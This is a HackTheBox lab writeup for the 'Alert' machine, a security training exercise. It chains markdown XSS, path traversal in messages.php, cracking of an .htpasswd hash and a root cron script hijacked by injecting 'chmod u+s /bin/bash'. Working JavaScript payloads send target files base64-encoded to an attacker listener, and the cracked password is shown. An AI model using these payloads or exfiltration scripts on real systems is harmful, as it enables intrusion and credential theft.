HTB: Alert Writeup

Alert - HackTheBox Writeup

Machine Information

AttributeDetails
NameAlert
OSLinux
DifficultyEasy
PointsN/A
Release Date18th March 2025
IP Address10.10.11.44
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Alert is an easy-difficulty Linux machine featuring a markdown file sharing website vulnerable to Cross-Site Scripting (XSS). By exploiting the XSS vulnerability, attackers can execute arbitrary JavaScript in the administrator’s browser context, leading to discovery of an Arbitrary File Read vulnerability in messages.php. This vulnerability is leveraged to extract the .htpasswd file containing hashed credentials. After cracking the hash, SSH access is obtained. Privilege escalation is achieved by exploiting a PHP script running as root with excessive group permissions, allowing arbitrary file modification and command execution.

TL;DR: XSS → Arbitrary File Read → Credential Extraction → SSH Access → Group-Writable PHP Script → Root RCE


Reconnaissance

Port Scanning

Terminal window
# Initial full port scan
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.44 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed service enumeration
nmap -p$ports -sC -sV 10.10.11.44

Results:

PortServiceVersion
22SSHOpenSSH 8.2p1 Ubuntu 4ubuntu0.11
80HTTPApache httpd 2.4.41 (Ubuntu)

The HTTP server redirects to http://alert.htb, indicating virtual host configuration. Add this to /etc/hosts:

Terminal window
echo "10.10.11.44 alert.htb" | sudo tee -a /etc/hosts

Service Enumeration

HTTP - Port 80:

Browsing to alert.htb reveals a markdown file upload and sharing platform. The site includes an “About Us” page with a disclaimer stating that administrators review submitted messages, suggesting potential for administrator interaction.

Directory Fuzzing:

Terminal window
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ \
-u "http://alert.htb/FUZZ" -ic

Discovered directories: uploads, css, messages

PHP File Enumeration:

Terminal window
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ \
-u "http://alert.htb/FUZZ" -ic -e .php

Key findings: contact.php, messages.php, index.php

Subdomain Enumeration:

Terminal window
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ \
-H "Host: FFUZ.alert.htb" -u http://alert.htb -fw 20

Discovered: statistics.alert.htb (returns HTTP 401 - requires authentication)

Vulnerability Assessment

  1. Cross-Site Scripting (XSS) in markdown rendering engine
  2. Arbitrary File Read vulnerability in messages.php via path traversal
  3. Weak Access Control on group-writable PHP scripts running as root
  4. HTTP Basic Authentication using Apache apr1 hashing (crackable)

Initial Foothold

Exploitation Path

Step 1: Confirm XSS Vulnerability

Create a markdown file with basic XSS payload:

<!-- XSS with script tag -->
<script>
alert(1)
</script>
<!-- XSS with img tag -->
<img src="x" onerror="alert(1)" />

Upload and view the markdown file. The alert(1) confirms XSS execution in the administrator’s browser.

Step 2: Extract Administrator Credentials via File Read

The contact form allows message submission, and the administrator will review it. Craft a payload to read messages.php:

// pwned.js - Payload to extract messages.php content
var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php', false);
req.send();
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.14.5:3000/?content=' + btoa(req.responseText), true);
req2.send();

Create a markdown file referencing the external JavaScript:

<script src="http://10.10.14.5:3000/pwned.js"></script>

Start a Python HTTP server to receive the callback:

Terminal window
python3 -m http.server 3000
# Output: Serving HTTP on 0.0.0.0 port 3000

Upload the markdown and use the “Share” feature to get a shareable URL. Submit this URL via the Contact Us form.

Monitor the server for incoming requests:

Terminal window
# Received request with base64-encoded messages.php content
10.10.11.44 - - [18/Mar/2025 08:05:35] "GET /?content=PGgxPk1lc3NhZ2VzPC9oMT4... HTTP/1.1"

Decode the Base64 response:

Terminal window
echo "PGgxPk1lc3NhZ2VzPC9oMT48dWw+PGxpPjxhIGhyZWY9J21lc3NhZ2VzLnBocD9maWxlPTIwMjQtMDMtMTBfMTUtNDgtMzQudHh0Jz4yMDI0LTAzLTEwXzE1LTQ4LTM0LnR4dDwvYT48L2xpPjwvdWw+Cg==" | base64 -d
# Output: <h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>

Step 3: Discover Path Traversal in messages.php

The file parameter appears vulnerable to path traversal. Test with /etc/passwd:

// Payload to read /etc/passwd
var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php?file=../../../../../etc/passwd', false);
req.send();
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.14.5:3000/?content=' + btoa(req.responseText), true);
req2.send();

Create a new markdown file with this payload, share it, and submit via contact form. Decode the response:

Terminal window
# Response contains /etc/passwd file
# Key users identified: albert (UID 1000), david (UID 1001)

Step 4: Extract Apache Authentication Credentials

Read the Apache virtual host configuration:

var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php?file=../../../../../etc/apache2/sites-available/000-default.conf', false);
req.send();
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.14.5:3000/?content=' + btoa(req.responseText), true);
req2.send();

The decoded response reveals:

<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>

Extract the .htpasswd file:

var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php?file=../../../../../var/www/statistics.alert.htb/.htpasswd', false);
req.send();
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.14.5:3000/?content=' + btoa(req.responseText), true);
req2.send();

Decode the base64 response:

Terminal window
echo "PHByZT5hbGJlcnQ6JGFwcjEkYk1vUkJKT2ckaWdHOFdCdFExeFlEVFFkTGpTV1pRLwo8L3ByZT4K" | base64 -d
# Output: <pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/</pre>

Step 5: Crack Apache apr1 Hash

Use hashcat to crack the apr1 MD5 hash:

Terminal window
# Create hash file
echo '$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/' > hash.txt
# Crack with hashcat (mode 1600 = Apache $apr1$ MD5)
hashcat -a 0 -m 1600 hash.txt /usr/share/wordlists/rockyou.txt

Result: albert:manchesterunited

Step 6: Obtain SSH Access

Terminal window
ssh albert@alert.htb
# Password: manchesterunited
# Verify access
albert@alert:~$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
# Capture user flag
albert@alert:~$ cat /home/albert/user.txt
<redacted>

Privilege Escalation

Discovery Phase

Step 1: Identify Local Services

Check listening ports on the target:

Terminal window
albert@alert:~$ netstat -tulnp
(Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -

Port 8080 is listening locally. Forward it to the attacker machine:

Terminal window
ssh albert@alert.htb -L 8080:127.0.0.1:8080

Access http://localhost:8080 reveals a “Website Monitor” application.

Step 2: Monitor Background Processes

Transfer and execute pspy to monitor running processes:

Terminal window
albert@alert:/tmp$ wget http://10.10.14.5:4000/pspy64s
albert@alert:/tmp$ chmod +x pspy64s
albert@alert:/tmp$ ./pspy64s

Relevant output:

2025/03/18 12:55:01 CMD: UID=0 PID=32377 | /usr/bin/php -f /opt/website-monitor/monitor.php
2025/03/18 12:55:01 CMD: UID=0 PID=32375 | /bin/sh -c /usr/bin/php -f /opt/website-monitor/monitor.php >/dev/null 2>&1

The script runs as UID=0 (root) on a cron schedule.

Step 3: Examine Target Script

Terminal window
albert@alert:/tmp$ cat /opt/website-monitor/monitor.php
<?php
include('config/configuration.php');
$monitors = json_decode(file_get_contents(PATH.'/monitors.json'));
foreach($monitors as $name => $url) {
$response_data = array();
$timestamp = time();
$response_data[$timestamp]['timestamp'] = $timestamp;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($curl);
# ... file operations ...
file_put_contents(PATH.'/monitors/'.$name, json_encode($data, JSON_PRETTY_PRINT));
}

The script includes config/configuration.php. Check file permissions:

Terminal window
albert@alert:/opt/website-monitor/config$ ls -la
total 12
drwxrwxr-x 2 root management 4096 Oct 12 04:17 .
-rwxrwxr-x 1 root management 49 Nov 5 14:31 configuration.php
albert@alert:/opt/website-monitor/config$ groups
albert management
# Verify user can write to the file
albert@alert:/opt/website-monitor/config$ cat configuration.php
<?php
define('PATH', '/opt/website-monitor/data');
?>

The management group (which albert belongs to) has write permissions on configuration.php, which is executed as root.

Exploitation

Step 4: Inject Malicious Code

Modify configuration.php to set SUID on /bin/bash:

Terminal window
albert@alert:/opt/website-monitor/config$ cat > configuration.php << 'EOF'
<?php
system("chmod u+s /bin/bash");
?>
EOF

Wait for the cron job to execute (typically within a minute):

Terminal window
albert@alert:/opt/website-monitor/config$ watch -n 1 'ls -la /bin/bash'

After the cron execution, verify SUID bit is set:

Terminal window
albert@alert:/opt/website-monitor/config$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash

Step 5: Gain Root Access

Execute bash with the SUID privilege:

Terminal window
albert@alert:/opt/website-monitor/config$ /bin/bash -p
bash-5.0# whoami
root
bash-5.0# id
uid=1000(albert) gid=1000(albert) euid=0(root) groups=1000(albert),1001(management)

Step 6: Capture Root Flag

Terminal window
bash-5.0# cat /root/root.txt
<redacted>

Attack Chain Summary

XSS in Markdown → Administrator Browser Execution
Craft JavaScript to Read messages.php via XMLHttpRequest
Discover Path Traversal in file parameter
Extract /etc/apache2/sites-available/000-default.conf
Identify .htpasswd location at /var/www/statistics.alert.htb/.htpasswd
Read .htpasswd → Extract albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
Crack apr1 hash with hashcat → manchesterunited
SSH Access as albert
Discover /opt/website-monitor/monitor.php runs as root via cron
Identify group-writable configuration.php in management group
Inject SUID command: chmod u+s /bin/bash
Wait for cron execution → /bin/bash -p → Root Shell
Root Access Achieved

Tools Used

ToolPurpose
nmapNetwork port and service discovery
ffufDirectory and file fuzzing
curlHTTP requests and testing
netcatListener for reverse callbacks
python3 -m http.serverHTTP server for exfiltration
base64Encoding/decoding payload responses
hashcatApache apr1 hash cracking
sshRemote shell access and port forwarding
pspy64sProcess monitoring and discovery
netstatNetwork connection enumeration

Key Learnings

Techniques Practiced

  • Cross-Site Scripting (XSS) via markdown rendering without sanitization
  • Arbitrary File Read exploitation using path traversal
  • Base64 Encoding/Decoding for data exfiltration
  • Apache Authentication (.htpasswd) extraction and hash cracking
  • Password Cracking with hashcat (apr1 MD5 hashing)
  • Process Monitoring with pspy for privilege escalation discovery
  • File Permission Exploitation leveraging group-writable scripts
  • SUID Privilege Escalation via root-executed code injection

Lessons Learned

  1. Input Validation is Critical - The markdown rendering engine failed to sanitize HTML/JavaScript, allowing XSS execution in administrator contexts. Always sanitize user input on both client and server side.

  2. Path Traversal Prevention - The messages.php file parameter failed to validate and restrict file access, allowing ../ sequences. Use whitelisting and proper input validation for file operations.

  3. Defense in Depth - Multiple layers of security failures (XSS → File Read → Credential Extraction → Weak File Permissions) allowed complete compromise. Implement multiple security controls at each layer.

  4. Principle of Least Privilege - The configuration.php file should be readable by the web process only, not writable by unprivileged users. Restrict group membership and file permissions strictly.

  5. Credential Protection - Apache credentials stored in .htpasswd with apr1 hashing were crackable. Use stronger hashing algorithms (bcrypt, scrypt, argon2).

  6. Process Monitoring - Background processes running as root should be monitored and secured. Regular scripts should validate inputs and operate with minimal privileges.

  7. Real-world Relevance - This machine demonstrates a realistic attack chain combining multiple vulnerabilities (OWASP Top 10 items) commonly found in web applications.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>